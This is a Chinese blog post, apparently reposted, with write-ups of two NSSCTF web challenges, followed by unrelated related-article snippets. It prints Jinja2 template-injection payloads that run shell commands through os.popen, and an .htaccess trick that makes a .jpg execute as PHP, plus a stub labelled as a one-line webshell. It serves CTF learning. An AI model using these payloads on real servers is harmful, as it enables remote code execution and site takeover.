NSSCTF-Web题目15

news2024/11/18 15:25:17

目录

[HNCTF 2022 WEEK2]ez_SSTI

1、题目

2、知识点

3、思路

[SWPUCTF 2022 新生赛]Ez_upload

1、题目

2、知识点

3、思路


[HNCTF 2022 WEEK2]ez_SSTI

1、题目

2、知识点

SSTI、Jinja2

参考链接:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

3、思路

题目提示我们是SSTI,打开链接,里面是一些有关SSTI的知识

我们不知道网站是用什么语言的,抓包看看

这里可以看到python,跟python有关的SSTI框架模板:Jinja2 (Python)、Mako (Python)(这些在题目的链接可以看到),接下来就尝试网站是用哪种模板,先尝试jinja2,但是我们不知道注入点在哪,不知道变量名,看了上面的参考文章,jinja2的变量名跟name有关,可以尝试name

?name={{7*7}}

结果正常回显,说明当前网站是用jinja2的框架,且变量名为name

知道变量名接下来就是构造payload了

?name={{''.__class__.__base__.__subclasses__()}}

通过__class__获取字典对象所属的类,再通过__base__(__bases[0]__)拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类

如果存在os类,那我们可以通过这些类执行eval等函数

接下来我们利用这个类,这个类位于137,这些payload可以记起来,遇到可以用

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

得到flag:NSSCTF{71ead462-471d-4863-b7ed-a97c9afcf81c}


[SWPUCTF 2022 新生赛]Ez_upload

1、题目

2、知识点

文件上传、.htaccess、MIME类型

3、思路

上传一个正常的文件

上传失败,很可能是文件大小作了限制

上传一个php文件

这里对后缀名进行了过滤

上传一个带有php内容的jpg文件

说明也对文件内容进行了过滤

这里尝试绕过的方式有很多,例如,抓包更改文件后缀名、大小写绕过、php3、phtml等

这边尝试看能不能上传.htaccess文件

可以上传成功,注:Content-Type: image/jpeg

.htaccess

<FilesMatch "muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传成功后,我们再上传一个muma.jpg文件,因为对文件内容进行了检测,不能有php代码,所以我们使用javascript语句

muma.jpg

## 一句话木马
<script language='php'>phpinfo();</script>

上传成功,然后访问成功的路径,可以正常访问

里面的php代码正常执行,寻找flag

得到flag:NSSCTF{be92eb2e-a020-43c6-bf04-d99099bbff69}


这篇文章就先记录到这里,哪里不懂的或者哪里不足的欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1856969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

雨量传感器的分类和选型建议

物理原理分类 机械降雨量计&#xff08;雨量桶&#xff09;&#xff1a;最早使用的降雨量传感器&#xff0c;通过漏斗收集雨水并记录。主要用于长期降雨统计&#xff0c;故障率较低。电容式降雨量传感器&#xff1a;基于两个电极之间的电容变化来计算降雨量。当降雨时&#xff…

2024年经济与国际贸易国际会议(ICEIT 2024)

2024年经济与国际贸易国际会议&#xff08;ICEIT 2024&#xff09; 2024 International Conference on Economy and International Trade 【重要信息】 大会地点&#xff1a;温州 大会官网&#xff1a;http://www.iciceit.com 投稿邮箱&#xff1a;iciceitsub-conf.com 【注意…

探索Elastic Search:强大的开源搜索引擎,详解及使用

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 全文搜索属于最常见的需求&#xff0c;开源的 Elasticsearch &#xff08;以下简称 Elastic&#xff09;是目前全文搜索引…

一个易于使用、与Android系统良好整合的多合一游戏模拟器

大家好&#xff0c;今天给大家分享的是一个易于使用、与Android系统良好整合的多合一游戏模拟器 Lemuroid。 Lemuroid 是一个专为Android平台设计的开源游戏模拟器项目&#xff0c;它基于强大的Libretro框架&#xff0c;旨在提供广泛的兼容性和卓越的用户体验。 项目介绍 Lem…

SQLServer 索引与数据完整性---学习笔记

索引 索引包含从表或视图中一个或多个列生成的键&#xff0c;以及映射到指定数据的存储位置的指针 索引是一个单独的、物理的数据库结构&#xff0c;在SQL Server中&#xff0c;索引是为了加速对表中数据行的检索而创建的一种分散存储结构。 它是针对一个表而建立的&#xff0…

【UIDynamic-动力学-UIAttachmentBehavior-附着行为-弹性附着 Objective-C语言】

一、弹性附着啊,我们来看一下, 1.刚才我们说了刚性附着,弹性附着,怎么着做啊,实际上,只需要多添加两个属性,就可以了, 实际上,添加一个,也可以啊, 我们把这个length,先注释掉, 先注释掉,self.attach.length = 100;这句话, 固定的长度啊,给它注释掉, 然后呢…

多源 BFS

例题一 解法&#xff08;bfs&#xff09;&#xff08;多个源头的最短路问题&#xff09; 算法思路&#xff1a; 对于求的最终结果&#xff0c;我们有两种⽅式&#xff1a; • 第⼀种⽅式&#xff1a;从每⼀个 1 开始&#xff0c;然后通过层序遍历找到离它最近的 0 。 …

Spring底层原理之bean的加载方式一 用XML方式声明bean 自定义bean及加载第三方bean 2024详解

目录 用XML方式声明bean 首先我们创建一个空的java工程 我们要导入一个spring的依赖 注意在maven工程里瞅一眼 我们创建一个业务层接口 还有四个实现类 我们最初的spingboot生命bean的方式是通过xml声明 我们在resources文件夹下创建一个配置文件 我们书写代码 首先初…

糖尿病早中期症状常常被人们忽视,从而错过最佳的干预时机。

我们都知道糖尿病有“三多一少”&#xff08;多饮、多尿、多食、体重减少&#xff09;的典型症状。然而&#xff0c;现实中糖尿病的表现并非总是如此清晰。更麻烦的是&#xff0c;糖尿病具有很强的隐匿性&#xff0c;若不做血糖检查&#xff0c;多数人难以察觉自己已患病。 今天…

什么无线麦克风音质最好,领夹无线麦克风最新推荐!

当今社会&#xff0c;直播销售的热潮与个人视频日志的流行趋势正重塑着内容创作领域的面貌&#xff0c;同时这也极大地激发了麦克风市场的活力。特别是无线领夹麦克风&#xff0c;它以轻便的设计理念和高效的录音性能&#xff0c;俘获了众多视频创作者的心。无论是在直播带货中…

算法常见问题

1.c虚函数 虚函数是用来实现多态(polymorphism) 的一种机制。通过使用虚函数&#xff0c;可以在子类中重写父类中定义的方法&#xff0c;并且在运行时动态地确定要调用哪个方法。 在类定义中将一个成员函数声明为虚函数&#xff0c;需要使用 virtual 关键字进行修饰 。 通过指向…

大语言模型(LLMs)能够进行推理和规划吗?

大语言模型&#xff08;LLMs&#xff09;&#xff0c;基本上是经过强化训练的 n-gram 模型&#xff0c;它们在网络规模的语言语料库&#xff08;实际上&#xff0c;可以说是我们文明的知识库&#xff09;上进行了训练&#xff0c;展现出了一种超乎预期的语言行为&#xff0c;引…

基于Springboot + vue 的抗疫物质管理系统的设计与实现

目录 &#x1f4da; 前言 &#x1f4d1;摘要 &#x1f4d1;系统流程 &#x1f4da; 系统架构设计 &#x1f4da; 数据库设计 &#x1f4da; 系统功能的具体实现 &#x1f4ac; 系统登录注册 系统登录 登录界面 用户添加 &#x1f4ac; 抗疫列表展示模块 区域信息管理 …

水泥超低排平台级别

在当今社会&#xff0c;环保已成为各行各业发展的重要指标。水泥行业作为国民经济的基础产业&#xff0c;其环保水平的高低直接关系到整个行业的可持续发展。近年来&#xff0c;朗观视觉水泥超低排平台作为水泥行业环保领域的新宠&#xff0c;受到了广泛关注。那么&#xff0c;…

STL —— 用一棵红黑树同时封装出map和set

文章目录 红黑树源代码RBTree.h 红黑树模板参数的控制红黑树结点当中存储的数据模板参数中仿函数的增加普通迭代器和const迭代器的实现myMap.hmySet.hRBTree.h 红黑树源代码 使用KV模型的红黑树进行封装&#xff0c;同时模拟实现出CSTL库当中的map和set RBTree.h //枚举定义…

网络安全:Web 安全 面试题.(XSS)

网络安全&#xff1a;Web 安全 面试题.&#xff08;XSS&#xff09; 网络安全面试是指在招聘过程中,面试官会针对应聘者的网络安全相关知识和技能进行评估和考察。这种面试通常包括以下几个方面&#xff1a; &#xff08;1&#xff09;基础知识:包括网络基础知识、操作系统知…

axios的基本使用和vue脚手架自带的跨域问题解决

axios的基本使用和vue脚手架自带的跨域问题解决 1. axios 1.1 导入axios npm i axios1.2 创建serve1.js serve1.js const express require(express) const app express()app.use((request,response,next)>{console.log(有人请求服务器1了);console.log(请求来自于,re…

【BES2500x系列 -- RTX5操作系统】深入探索CMSIS-RTOS RTX -- 任务管理篇 -- 线程管理 --(二)

&#x1f48c; 所属专栏&#xff1a;【BES2500x系列】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f49…

SSM图书馆管理系统-计算机毕业设计源码07925

摘 要 “鸟欲高飞先振翅&#xff0c;人求上进先读书”&#xff0c;可见读书对我们的重要性&#xff0c;在这个高速发展的社会&#xff0c;人们也越来越意识到读书的重要性&#xff0c;人们需要汲取各个领域的知识&#xff0c;不断的拓展自己的知识水平&#xff0c;图书馆作为一…

华为---OSPF的DR与BDR(六)

9.6 OSPF的DR与BDR 9.6.1 原理概述 在OSPF的广播类型网络和NBMA类型网络中&#xff0c;如果网络中有n台路由器&#xff0c;若任意两台路由器之间都要建立邻接关系&#xff0c;则需要建立n(n-1)/2个邻接关系&#xff0c;即当路由器很多时&#xff0c;则需要建立和维护的邻接关…